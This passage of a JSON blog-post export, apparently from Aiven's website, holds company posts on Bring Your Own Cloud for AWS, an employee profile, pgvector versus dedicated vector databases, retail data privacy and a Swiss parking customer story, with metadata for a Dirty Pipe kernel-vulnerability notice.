website\").\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-14T00:00:00.000Z","seo":{"metaDescription":"A vulnerability called \"Dirty Pipe\" (CVE-2022-0847) allows users to increase their access via the page cache. Aiven's CISO writes about our mitigating actions.","metaImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"metaTitle":"Security updates: Linux® kernel vulnerability"},"slug":{"_type":"slug","current":"/blog/security-updates-linux-kernel-vulnerability"},"subtitle":"A vulnerability called \"Dirty Pipe\" (CVE-2022-0847) allows users to increase their access via the page cache. Aiven's CISO writes about our mitigating actions.","title":"Security updates: Linux® kernel vulnerability"} {"__i18n_lang":"en","_createdAt":"2024-05-08T13:28:28Z","_id":"f5e9ca98-ba09-40cc-af2d-a435e1584f73","_rev":"T130WEs22RB6SoEkO95sUW","_type":"post","_updatedAt":"2024-11-18T11:29:18Z","authors":[{"_key":"438915f76ee3","_ref":"988a3b7d-5394-4b8f-ac1f-f5927573f1e3","_type":"reference"}],"body":"Aiven’s self-service Bring Your Own Cloud (BYOC) migration workflow for AWS is generally available. Any AWS user can use their own AWS cloud infrastructure and account instead of Aiven’s to run Aiven services while owning the migration process and timeline.\n\n\n## What is Bring Your Own Cloud (BYOC)?\n\nBYOC unlocks the ability to leverage innovative, cloud-native data platforms from specialized third-party partners while optimizing your cloud economics. Engineers can leverage cutting-edge database, data streaming, and analytics technology deployed seamlessly across your chosen cloud infrastructure. At the same time, IT leaders can meet cloud consumption commitments and reduce TCO through discounted pricing models from their cloud providers. You get the best of both worlds - accelerated innovation from an expert partner combined with optimized cloud spend and operational efficiencies delivered by a fully managed data platform. \n\nFor example, if you have a specific database running with a third party, with BYOC, you can bring that exact database into your own cloud account and still have the third party manage it, just as before.\n\nAlso, when considering data infrastructure spanning multiple clouds, the BYOC model can help accelerate an organization to innovate while meeting compliance requirements. Aiven’s data and AI platform BYOC capability lets you leverage the full platform’s ability to have centralized compliance and governance and use its open-source backed technology, all with your choice of cloud provider. \n\n\n## Aiven BYOC and AWS\n\nWhen using Aiven’s BYOC for AWS model, a secure environment is created within the user’s cloud account, with secure Aiven access established through a bastion host and a proxy. This provides builders with more control over infrastructure and networking configurations. With this capability, everyone can have more control over their data, burn down consumption commitments, and further reduce their cloud spend by applying savings plans and reserved instances. Organizations can now start enjoying these benefits of BYOC in under 1 hour, accelerating time to value.\n\nOnce the BYOC environment is created, users can start deploying Aiven services in the BYOC model immediately. Organizations using BYOC with Aiven enjoy the benefits of Aiven’s developer-friendly service, such as 24x7 monitoring and alerting, proactive maintenance and upgrades, and 99.99% availability SLA.\n\nWith the GA release of self-service BYOC on AWS, we’re also introducing support for dynamic disk scaling (DDS), custom service plans, and new migration capabilities from other clouds to Aiven BYOC. \n\n::youtube[AWS BYOC Demo]{#WPh2RsJrptc}\n\n## Dynamic Disk Sizing available for BYOC on AWS\n\nDynamic disk sizing is now available to AWS BYOC users on the Aiven Platform. When your application is very data-heavy, you may want to scale your disk size without scaling your compute resources. That’s where [Dynamic Disk Sizing (DDS)](https://aiven.io/docs/platform/howto/add-storage-space?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform) comes in. You can add up to 5 times your plan’s default disk storage, with pricing displayed in the Aiven Console. This includes increased backup storage for the new disk size.\n \n## Pricing \u0026 Custom Plans\n\nThe BYOC model pricing has two components: infrastructure and Aiven service management. Organizations pay AWS directly for the infrastructure to maintain the BYOC environment and for the infrastructure services used to run their Aiven data services, like Aiven for Apache Kafka® or Aiven for PostgreSQL®. Aiven is paid a monthly management fee for every actively used data service, priced per hour.\n\nCustom service plans can be leveraged for BYOC deployment. Aiven can tailor the standard service plan configurations to fit your exact needs, such as OpenSearch or Kafka clusters with huge CPU and memory demands. The amount of storage, the frequency and number of backups, the number of nodes, and the CPU \u0026 RAM configurations are all customizable variables. Read more about them in the [Aiven Docs](https://aiven.io/docs/platform/howto/custom-plans?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform).\n\nTo start using the self-service BYOC model for AWS, or to learn more about our services, [book a demo](https://aiven.io/book-demo?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform)! You can also check out the [Bring Your Own Cloud](https://aiven.io/docs/platform/concepts/byoc?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=Platform) page or the Aiven Console.\n\n\n","categories":[{"_key":"2ee77ef03f7a","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"0272808aff06","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"d636ad3dd3a0","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Orange image with title text of blog","asset":{"_ref":"image-cfbeed6ddf254dce9ac7dffe743b13cff7256fe1-1200x630-png","_type":"reference"}},"publishedAt":"2024-05-09T13:28:00.000Z","related":[{"_key":"9da8ed98eb85","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"1e69d54bbd96","_ref":"dd1d35d3-0232-43ce-a7a2-187e79d501ec","_type":"reference"},{"_key":"b57c765c9601","_ref":"a7234f0d-b2b9-4bbe-acbe-2ca4bbef49d9","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Set Up Aiven Services on Your AWS Account with Ease"},"slug":{"_type":"slug","current":"/blog/self-service-byoc-for-aws-now-generally-available"},"subtitle":"Easily set up and run Aiven services in your own AWS account with simplified migrations and expanded flexibility.\n","title":"Fast and Flexible, Self-Service Bring Your Own Cloud (BYOC) for AWS now Generally Available"} {"__i18n_lang":"en","_createdAt":"2023-12-11T09:08:25Z","_id":"3279830e-ee4b-4830-907a-e8f96b45d5df","_rev":"T130WEs22RB6SoEkOBp3pS","_type":"post","_updatedAt":"2024-11-19T09:56:19Z","authors":[{"_key":"0ad809821ec8","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"Like any true Crab, Yen loves the great outdoors. From her earliest days, she always sought adventures outside the classroom, whether mingling with friends at the mall or joining the lively crew of neighbourhood kids.\n\nReaching adolescence, she set her sights on distant shores. Experiencing unfamiliar landscapes, encountering diverse faces, and enjoying the richness of local cuisines were all crab-nip to her.\n\nBut as she puts it, deep down inside herself, the notion of calling a place far from home \"home\" is an open question waiting to be answered.\nSo, where has home been for her over the years? Where does she live now? And in what areas of work does she always feel right at home, wherever she is?!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/083f9fe56b16afab381a88e413e36a4977402a82-4032x3024.jpg)\n\n*Yen and her family in Switzerland*\n\n\n### From Vietnam to Berlin\nOne thing is for sure, numbers really matter to Yen. And that’s hardly surprising, as her close-knit, multigenerational family back in Vietnam adds up to about 30 family members. They’re a constant source of support, tough, but always ready to listen to Yen and hear about her passions and needs. \n\nWhile they loved her being close at hand, they knew that heading out (and moving sideways) was always her dream. In particular, an uncle (who she sees as a father figure) asked her around six years ago: “Aren’t you going to pursue your dream of exploring Europe?”\n\nIt wasn’t an easy consideration as she already had a stable job plus friends and her extended family in Vietnam, but Yen knew it was time to shed her old shell and scuttle towards new horizons.\nThat’s how she ended up in Berlin around five years ago, which is where she remains to this day.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/797fc05d4a7f615593587f90fedec36d4267632d-1349x2024.jpg)\n\n*Yen playing Jenga at the Berlin summer party*\n\n### Why Aiven? Because it all added up!\nFrom BI tools to Excel, Yen’s professional life has always revolved around numbers. Her career at HSBC Vietnam spanned various teams, including Customer Due Diligence and Financial Crime Compliance. Yen’s keen eye for detail and enthusiasm for problem solving led her to pursue a Master’s in International Business. In the course of that, she was first introduced to the Financial Planning and Analysis (FP\u0026A) function, initially gaining exposure through a student position in the FP\u0026A team at Contentful, later working full-time at Wire as Financial Analyst.\n\nYen wasn’t actively looking to make a move when [Hanna Peltokorpi](https://www.linkedin.com/in/hanna-peltokorpi/), our Senior Talent Acquisition Partner reached out to her on LinkedIn. What particularly caught her attention was the article Hanna attached about Aiven securing a series C extension with a $2 billion valuation to drive global open search innovation.\n\nAt that time, Yen was in the final stages of the Series C due diligence process at her current company. Recognizing the complexity and challenges of the process, the impressive funding and valuation Aiven had obtained really caught her eye. Aiven was a larger sea to swim in – and its rapid growth presented both opportunities and challenges. She decided she could push her limits while contributing to Aiven’s ongoing success.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/83f1f94520387df8d0eafcc3f6961b9f18e93bb8-5062x3368.jpg)\n\n*Yen at the Crab Week 2023*\n\n### Big picture changes plus daily demands \nSince joining Aiven in early 2022, the workforce has doubled. The way her team works has seen major changes too. A new financial planning tool is taking over from the former spreadsheet-based solution, which means collaborative model building and much else. Transitioning to a quarterly planning cycle is also underway. \n\nAnother current project is the Gross Margin by Customer and Service Dashboard, a collaborative effort involving multiple teams, including Data Analytics, FP\u0026A, and Engineering. The development journey has been long but rewarding, and a pilot dashboard is now set for release.\n\nBut alongside big innovations like these, some things remain constant. Yen continues to provide timely and accurate reporting and analysis, plus actionable insights. By translating numerical data into qualitative analysis, she empowers the organization to make better informed decisions, mitigate risk, and optimize performance. \n\nTo deliver all this means Yen has a hectic schedule. To stay on top, she creates daily to-do lists, which typically evolve during the course of the day due to the many competing demands faced by the FP\u0026A team. She also carves out specific focus hours in her day. During these dedicated periods, she aims to minimize interruptions and delve into productive financial analysis work.\n\n### Yen’s advice for a career that counts\nWhile foundational financial flair is obviously crucial to any role in finance, Yen highlights three essential skills that any would-be Crab should get their claws into.\n\nFirst, priority management with consistency in scheduling and expectations. Deadlines are a constant presence in financial analysis, so prioritization of time and effort is essential.\n\nNext is communication. That involves answering questions daily and updating progress across multiple communication channels, as well as delivering key insights and presenting analyses, often to people from different departments. Asking questions and listening objectively are all part of the challenge.\n\nThirdly, there’s curiosity, whatever the situation and whatever the project. Always ask the right questions to understand why things have been done that way and to figure out if there is a better solution. Planning and analysis require complex problem-solving skills. You need to be naturally curious – and to think sideways, of course.\nPlus, as with any Crab, showing openness, courage, and ownership are all part of the remit. Yen particularly values courage. For her, that means testing new approaches and taking evaluated actions. Be prepared to fail – but fail fast, learn faster, and keep moving forward.\n\nOur thanks go to Yen for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Crabs.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n","categories":[{"_key":"adad4bb48108","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"},{"_key":"0873f6a1435d","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"afda536185b7","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven, Aiven logo, Interview, Career progression, Growth, Career in Finance","asset":{"_ref":"image-7300debab8780e66d29d3449546ec31fee238ae0-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-11T10:12:04.192Z","related":[{"_key":"13c6f839c568","_ref":"5f3fb605-8886-4d42-84ac-96a3c6b8cbbb","_type":"reference"},{"_key":"7f47273c35c6","_ref":"76e20acf-16a0-494f-8632-622f1d945ed5","_type":"reference"},{"_key":"47b6af69079d","_ref":"c3317e7b-b935-43d1-9665-8169a5ebdf91","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"What is life like as a financial planning and analysis (FP\u0026A) professional at Aiven? We talked to Senior Analyst Yen Pham about facts and figures.\n","metaImage":{"_type":"mainImage","alt":"Aiven, Aiven logo, Interview, Career progression, Growth, Career in Finance","asset":{"_ref":"image-7300debab8780e66d29d3449546ec31fee238ae0-1200x628-png","_type":"reference"}},"metaTitle":"Meet the Cast: Yen Pham, the Crab with the number-crunching claws"},"slug":{"_type":"slug","current":"/blog/yen-pham-the-crab-with-the-number-crunching-claws"},"subtitle":"Yen Pham has been with us for nearly two years. We caught up with her to discuss the facts, figures, and tides of financial life at Aiven.","title":"Meet the Cast: Yen Pham, the Crab with the number-crunching claws"} {"__i18n_lang":"en","_createdAt":"2024-07-25T19:43:28Z","_id":"6646ab5c-9136-4d83-9a32-fe50393d3d28","_rev":"h4ancfFTuSnQNBSq3ImFV6","_type":"post","_updatedAt":"2024-11-19T08:38:13Z","authors":[{"_key":"f16b698ad961","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"The heart of Generative AI (GenAI) workloads rely on the ability of computers to categorize and understand the world's data (images, sounds, text) as numerical representations called vectors. This is achieved through a process called \"embedding,\" where a model translates the data into vectors.\n\nOnce the vectors representing the data are created, they need to be stored and searched efficiently to form the core of a GenAI engine. The ability to search for similarity or dissimilarity between these vectors allows a model to determine, for example, whether an image represents a muffin or a Chihuahua.\n\nVector databases are new, dedicated databases designed to efficiently store and search high-dimensional vector data. Due to their critical role in powering various GenAI applications, they have rapidly gained awareness and adoption in the tech ecosystem.\n\nEnterprises and businesses looking to leverage GenAI for productivity gains or product enhancement face a key decision: should they adopt a dedicated vector database or utilize emerging vector capabilities within their existing data technologies?\n\nWhile dedicated vector databases offer specialized functionality for high-dimensional data, existing data technologies are also incorporating vector capabilities. The best choice depends on specific needs, infrastructure, expertise, and the criticality of production environments. \n\nThere are two primary reasons why adopting a dedicated vector database isn't necessary for most users, and why existing vector capabilities may be a better fit. \n\n## First, ease of use. \n\n[The ROI of GenAI has yet to be proven in the vast majority of cases](https://www.theregister.com/2024/06/12/survey_ai_projects/). Few implementations have reached production, and even fewer are expected to generate revenue within the next two years. Managing the risk of acquiring knowledge and capabilities without overspending or overextending resources is crucial. \n\nMany popular databases are developing vector capabilities. Let’s focus here on PostgreSQL. PostgreSQL, a widely adopted enterprise database, is enhancing its capabilities with the pgvector extension to enable efficient vector operations. This extension caters to 80% of common GenAI use cases, offering a streamlined path for organizations to explore and implement AI-driven solutions. By leveraging pgvector within PostgreSQL, organizations can quickly explore high-impact GenAI applications without a steep learning curve and [identify the most impactful use-cases](https://www.gartner.com/en/doc/gen-ai-use-case-comparison-for-information-technology-organizations). Additional benefits include PostgreSQL's ACID properties and existing security measures, ensuring accurate and up-to-date data for AI workloads.\n\nPostgreSQL's extensibility has led vendors to develop and open-source additional extensions alongside pgvector, which [claim to outperform](https://www.timescale.com/blog/pgvector-is-now-as-fast-as-pinecone-at-75-less-cost/) some dedicated vector databases.\n\n## Secondly, database development is complex and time-consuming.\n\nDatabases have been around a long time, and they have grown complex and rich with features most companies now expect as the standard. This evolution and hardening over time is just that, a function of high levels of adoption and time. \n\nNew databases fill small niches well, but due to the shorter period of time they have been in use, they lack much of the capabilities we have come to expect from an enterprise-grade database. One or two of the current crop will survive long enough to harden, but we expect most to fade away in the coming years as their adoption drops. \n\nNiche capabilities are, relative to the hardening of a new database and enterprise-grade feature parity, easier for more established databases to develop. This is why mature database technologies will gain enterprise-ready vector capabilities before dedicated vector databases harden to meet enterprise needs. \n\n## Don't Overcomplicate GenAI: Start Simple.\n\nNow that we've explored the future potential of dedicated vector databases and GenAI, I believe it's best to start simple. Look to the databases you already know and use, and investigate their increasingly mature vector capabilities before looking to adopt new, dedicated vector databases. While I’ve focused on PostgreSQL here for simplicity, OpenSearch and ClickHouse are also extremely capable in handling vector search. \n\nHaving spent time talking to customers, this path has shortened time to adoption for their businesses. Even organizations that don’t get to production increase their level of knowledge around GenAI, which will be critical in the coming years. \n\nSo, what's the next stage of evolution for GenAI capabilities in current database technologies? \n\n**In-Database Embedding:** GenAI models will be hosted within dedicated nodes of the database cluster, allowing for embedding directly where the data resides. \n\n**Seamless AI Integration:** Near-native integration of SQL commands to external AI services and third-party tools as needed by the workload in development. \n\nAs the future of vector capabilities continues to rapidly evolve, consider simplifying your GenAI implementation journey with proven technology. Stick with the database technologies you know and their embedded vector capabilities, rather than pivoting to a new, dedicated VectorDB. At least for now. \n","categories":[{"_key":"4c2db31e218b","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"9e4f29a80bf2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e39cee78f5b24bf9035f84d4bcb79e09343b646d-1200x630-png","_type":"reference"}},"publishedAt":"2024-07-26T14:00:00.000Z","related":[{"_key":"4ac5811c5bc7","_ref":"51b147a9-2d2f-4b72-a8c4-eb5bb6f99d5d","_type":"reference"},{"_key":"8afccbfef10d","_ref":"fe0e3023-05d0-4a30-830b-6c03fb4e23c7","_type":"reference"},{"_key":"cb41ec173a96","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how built-in vector capabilities can power your GenAI applications and save you from the hassle of adopting a new database."},"slug":{"_type":"slug","current":"/blog/dont-buy-the-hype-the-genai-power-you-already-have"},"subtitle":"Your database is more powerful than you think. Learn how built-in vector capabilities can power your GenAI applications and save you from the hassle of adopting a new database.","title":"Don’t Buy the Hype: The GenAI Power You Already Have"} {"__i18n_lang":"en","_createdAt":"2024-08-14T07:20:58Z","_id":"c7e3c27e-ae34-4a51-b178-daf0bfaaf452","_rev":"T130WEs22RB6SoEkOBabUo","_type":"post","_updatedAt":"2024-11-19T07:56:50Z","authors":[{"_key":"13c9083bfaf5","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"The retail sector's increasing use of real-time data analytics is a double-edged sword in our privacy-first world. \n\nOn one hand, it is a promising new revenue opportunity that leverages what retailers, by default, can already access. On the other, it is a potential threat to consumer privacy and increases reputational and regulatory risk for the retailer. \n\n## The era of the privacy-conscious consumer\nIt’s an issue that is gaining momentum worldwide as consumers become increasingly privacy conscious. In fact, 88% of [online shoppers in the UK](https://dma.org.uk/uploads/misc/dma---uk-data-privacy-2022.pdf) say they would stop using brands and organizations that don’t value consumer data privacy. This means that any breach or data-loss issue could be hugely damaging to the brand’s reputation. [Global research](https://www.isaca.org/about-us/newsroom/press-releases/2022/1-in-3-consumers-stopped-doing-business-with-a-company-known-to-have-compromised-cybersecurity) suggests that one in three customers will cease buying from companies that have suffered a security breach.\n\nConcerningly, the retail sector is a prime target for cyberattacks. According to [reports](https://www.businessdit.com/retail-cybersecurity-statistics/?trk=article-ssr-frontend-pulse_little-text-block), in 2022, retail faced 24% of all attacks, more than any other sector. Retailers are a veritable goldmine for personal information, creating another tightrope retailers must walk. \n\nFor example, in 2022, The UK ICO (Information Commissioner’s Office) found that [Easylife](https://ico.org.uk/about-the-ico/media-centre/news-and-blogs/2023/03/ico-reaches-agreement-with-easylife-ltd/#:~:text=The%20ICO%20fined%20Easylife%20on,them%20further%20health%20related%20products.), a catalog retailer, had built profiles of 145,400 people for inferred health conditions without their consent. This resulted in a £1.5 million fine for data protection and e-marketing violations. Even the world’s biggest retailers are not immune. In July 2021, [Amazon](https://www.bbc.co.uk/news/business-58024116) was found to be tracking users’ data without acquiring appropriate consent from users or providing the means to opt-out of this tracking and was fined £636m. \n\n## Right data, right place, right time\nBeyond the reputational impact and monetary cost in terms of fines, the frequency of data breaches completely undermines the drive for personalization, which is synonymous with shopping today. According to [Accenture](https://www.accenture.com/content/dam/accenture/final/a-com-migration/pdf/pdf-83/accenture-making-personal.pdf), 91% of consumers want a personalized online shopping experience, but in order to deliver this, retailers need access to first-party, consented customer data in real-time.\n\nAccess to real-time data is also fundamental to addressing the challenges posed by payment fraud, identity theft, and return fraud. It can detect unusual patterns and transaction anomalies, providing early warnings to prevent potential fraudulent activities and safeguarding the business and customers — but only if the appropriate architecture is in place to ensure the right data is in the right place at the right time.\n\n## A huge opportunity for retailers\nRetailers need a data platform that enables them to build versatile, reliable, and cost-effective solutions that make a tangible difference to the customer experience while keeping data secure. A platform that is quick to deploy can enable internal teams to innovate instead of fighting fires of maintenance and upgrades. This is where open source software (OSS) is key. \n\nOSS offers an opportunity for retailers to access a vast talent pool to build effective solutions, all while enjoying the freedom to use multiple clouds, just like our customer, La Redoute.\n\n## La Redoute: Improving data control to free up team time\nE-commerce giant La Redoute needed to migrate its data infrastructure. With over 10 million customers across 26 countries, digital innovation was key to its success. They experienced a huge increase in sales post-pandemic and with it, a need to securely store and manage large amounts of data. Leveraging the Aiven Platform, La Redoute seamlessly transitioned to our Bring Your Own Cloud (BYOC) deployment model - a self-service solution that unlocks the ability to leverage innovative, cloud-native data platforms from specialized third-party partners while optimizing cloud economics - and saw huge improvements in its security team. Diogo Gomes, head of cloud transformation said, “The team used to have a traditional DBA mentality and was spending up to 90% of the day doing maintenance, patching and upgrades. That’s all handled by Aiven now, freeing up the team to focus on business projects and delivering solutions much faster. We can deploy databases in minutes rather than weeks”\n\n## Deliver sustainable long-term growth\nBalancing the need to become more data-driven and preserving customer privacy is a complex issue that requires careful consideration from businesses. While analytics can help retailers gain valuable insights into customer behavior and preferences, collecting and using personal data can also pose serious privacy risks. \n\nAchieving the right balance can build trust with customers, enhance brand reputation, and deliver sustainable long-term growth.\n","categories":[{"_key":"30d8ee4903b4","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"},{"_key":"9d66a33e71a0","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-53b803d6de45a6d7127ed675409e1140790e45ba-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-03T09:24:00.000Z","seo":{"_type":"metaData","metaDescription":"Retailers can gain customer trust by being transparent about data use. Discover ways to get insights while safeguarding privacy. Get informed with Aiven!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-53b803d6de45a6d7127ed675409e1140790e45ba-1200x628-png","_type":"reference"}},"metaTitle":"Real-Time Data in Retail: Privacy \u0026 Ethical Dilemmas | Aiven"},"slug":{"_type":"slug","current":"/blog/the-dark-side-of-real-time-privacy-concerns-and-ethical-dilemmas-in-retail"},"subtitle":"If retailers want to build trust with customers, they must be transparent about data collection and usage. This blog provides actionable guidance on gaining valuable insights from data while protecting customer privacy.","title":"The Dark Side of Real-Time: Privacy Concerns and Ethical Dilemmas in Retail"} {"__i18n_lang":"en","_createdAt":"2023-07-31T07:44:23Z","_id":"56e9c30c-85d9-4bb6-8440-499f43cc1379","_rev":"sEwq5NBiPauorOxrhj4qEu","_type":"post","_updatedAt":"2024-11-19T11:34:29Z","authors":[{"_key":"a9bb6c49a932","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"The time when drivers were forced to search for coins while queuing in the rain for a parking machine are long gone. Parking providers across the world are moving towards a digital-first parking experience. Today drivers can pay in a few convenient taps from their phones while sitting in their cars. At the forefront of this revolution is the Swiss market leader Digitalparking AG, and at the heart of its solution is Aiven.\n\nDigitalparking is a Swiss, family-run company with a rich heritage of acquisitions and parking innovation. It claims Switzerland’s first coin-operated parking meter from 1956 as an important part of its history as well as the first mobile application for cashless parking launched in 2008. As its name suggests, today the company is focused on digital payment solutions for parking. Its popular Parkingpay app enables cashless, ticketless parking in over 750 locations in cities, shopping centres, hospitals and multi-storey car parks across Switzerland.\n\nAccording to Reto Schläpfer, CEO and CTO at Digitalparking: “Parking lot operators in Switzerland have it good. We provide them with complete onstreet and offstreet solutions which makes parking easy for them to manage and much more convenient for drivers. It’s our mission to make parking as quick and easy as possible for everyone.” \n\nIn addition to the initial cost of buying the parking meters, there are ongoing costs associated with emptying and maintaining them. For cost-conscious municipalities, the largest providers of offstreet parking, Digitalparking provides a cheaper option as well as extras such as handling the administration of parking permits.\n\n## More users, more transactions and a lot more data\nAs a result, increasing numbers of municipalities and car park owners now rely on Digitalparking. The company has created APIs to enable motorists to pay via leading mobile payment providers like TWINT for added convenience. As a result, more and more motorists use the Parkingpay app. For Digitalparking, this means more users, more transactions and a lot more data. \n\nWhen the company started transitioning to a digital-first offering, it chose PostgreSQL® as its primary database because of its reliability, feature robustness and performance. As an open source technology, it also provided Digitalparking the freedom to modify the software in line with the company’s needs. \n\n## Challenge of scaling PostgreSQL\nAs the Digitalparking business has evolved, the variety and volume of data stored in PostgreSQL has grown. “Initially we managed the PostgreSQL servers ourselves, but we reached a point when our small team couldn’t operate at the scale required. The data was too important and too big for us to handle so we started to look at fully managed services,” explains Schläpfer.\n\nAt that time, Digitalparking was migrating its IT infrastructure from virtual machines rented from Swiss providers over to Google Cloud to resolve ongoing network and disc I/O issues. “When we realized that Aiven services ran on Google Cloud, and that it offered Virtual Private Cloud (VPC) peering, Aiven became the obvious choice. A couple of months after migrating to Google Cloud, we started using Aiven for PostgreSQL®,” says Schläpfer.\n\nThanks to the ease of use and speed of set-up, Digitalparking completed the migration in two weeks, with no service interruption and no support required from Aiven. \n\nToday the PostgreSQL database remains at the heart of the Digitalparking offering. It stores the large volume of financial transaction details generated via the Parkingpay app including licence plate numbers, time/place and payment details. At the end of the month, based on this information, Digitalparking pays the collected parking fees to the car park owners while keeping a small portion as its renumeration.\n\nThe database also holds parking meter configuration data — the meters regularly connect to Digitalparking IT for software and system updates — as well as parking permit data and reporting information accessed by car park owners. PostgreSQL integrates with PostGIS where Digitalparking stores geographical data about the different parking locations including details on parking zones, the number of spaces and so on which enables mapping functionality.\n\n## Superior levels of scalability, performance and reliability \nSince using Aiven for PostgreSQL, Digitalparking is realizing more value from the open source solution and is achieving superior levels of scalability, performance and reliability. “PostgreSQL is now run by Aiven experts. As a result, we’ve never lost any data, version upgrades are seamless and security patching that used to take a day is completed with the click of a button. The inhouse team can now focus on their core job — providing more value to our customers,” says Schläpfer.\n\n\u003e “PostgreSQL is now run by Aiven experts. As a result, we’ve never lost any data, version upgrades are seamless and security patching that used to take a day is completed with the click of a button. The inhouse team can now focus on their core job — providing more value to our customers,” \n\nThe value goes beyond technical impact — with Aiven managing the database, Digitalparking has reduced business risks. “If the database isn’t working, Digitalpayments can’t operate. It’s as simple as that,” says Schläpfer. “It’s a big responsibility we’ve given to Aiven and we absolutely trust the team to deliver. Aiven is a key partner in helping us pursue our mission of easy parking for all.”\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"44bbbff6-f416-4cfe-83ed-55d377467999","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-260938caeb558dc0060beee5464195545b49914a-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache PostgreSQL Use Case, Aiven for PostgreSQL Example, PostgreSQL, Digitalparking","asset":{"_ref":"image-260938caeb558dc0060beee5464195545b49914a-1200x628-png","_type":"reference"}},"publishedAt":"2023-08-01T07:45:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"With Aiven for PostgreSQL®, Digitalparking is realizing more value from the open source solution and achieving superior levels of scalability and performance.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-260938caeb558dc0060beee5464195545b49914a-1200x628-png","_type":"reference"}},"metaTitle":"Digitalparking Leads the Smart Parking Revolution "},"slug":{"_type":"slug","current":"/blog/digitalparking-leads-the-smart-parking-revolution-in-switzerland"},"subtitle":"Aiven for PostgreSQL® ensures business critical database runs without interruptions","title":"Digitalparking Leads the Smart Parking Revolution in Switzerland"} {"__i18n_lang":"en","_createdAt":"2023-06-29T09:52:44Z","_id":"076d9cea-9afd-4558-87a9-320861615971","_rev":"T130WEs22RB6SoEkOENMyE","_type":"post","_updatedAt":"2024-11-20T05:58:14Z","authors":[{"_key":"471148f007d5","_ref":"18b2384d-a539-411b-8aab-d148082fe230","_type":"reference"}],"body":"The [Aiven Developer Center](https://aiven.io/developer) is your source for open source articles and tutorials on Apache Kafka®, Apache Flink®, PostgreSQL, Redis®*, Cassandra and more! Here's what we published in June 2023.\n\n\n- [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector): To celebrate [the launch of pgvector](https://aiven.io/blog/aiven-for-postgres-supports-pgvector) on [Aiven for PostgreSQL®](https://aiven.io/postgresql), learn how to use machine learning and vector search to detect patterns in images! You can try this out on our [Aiven for 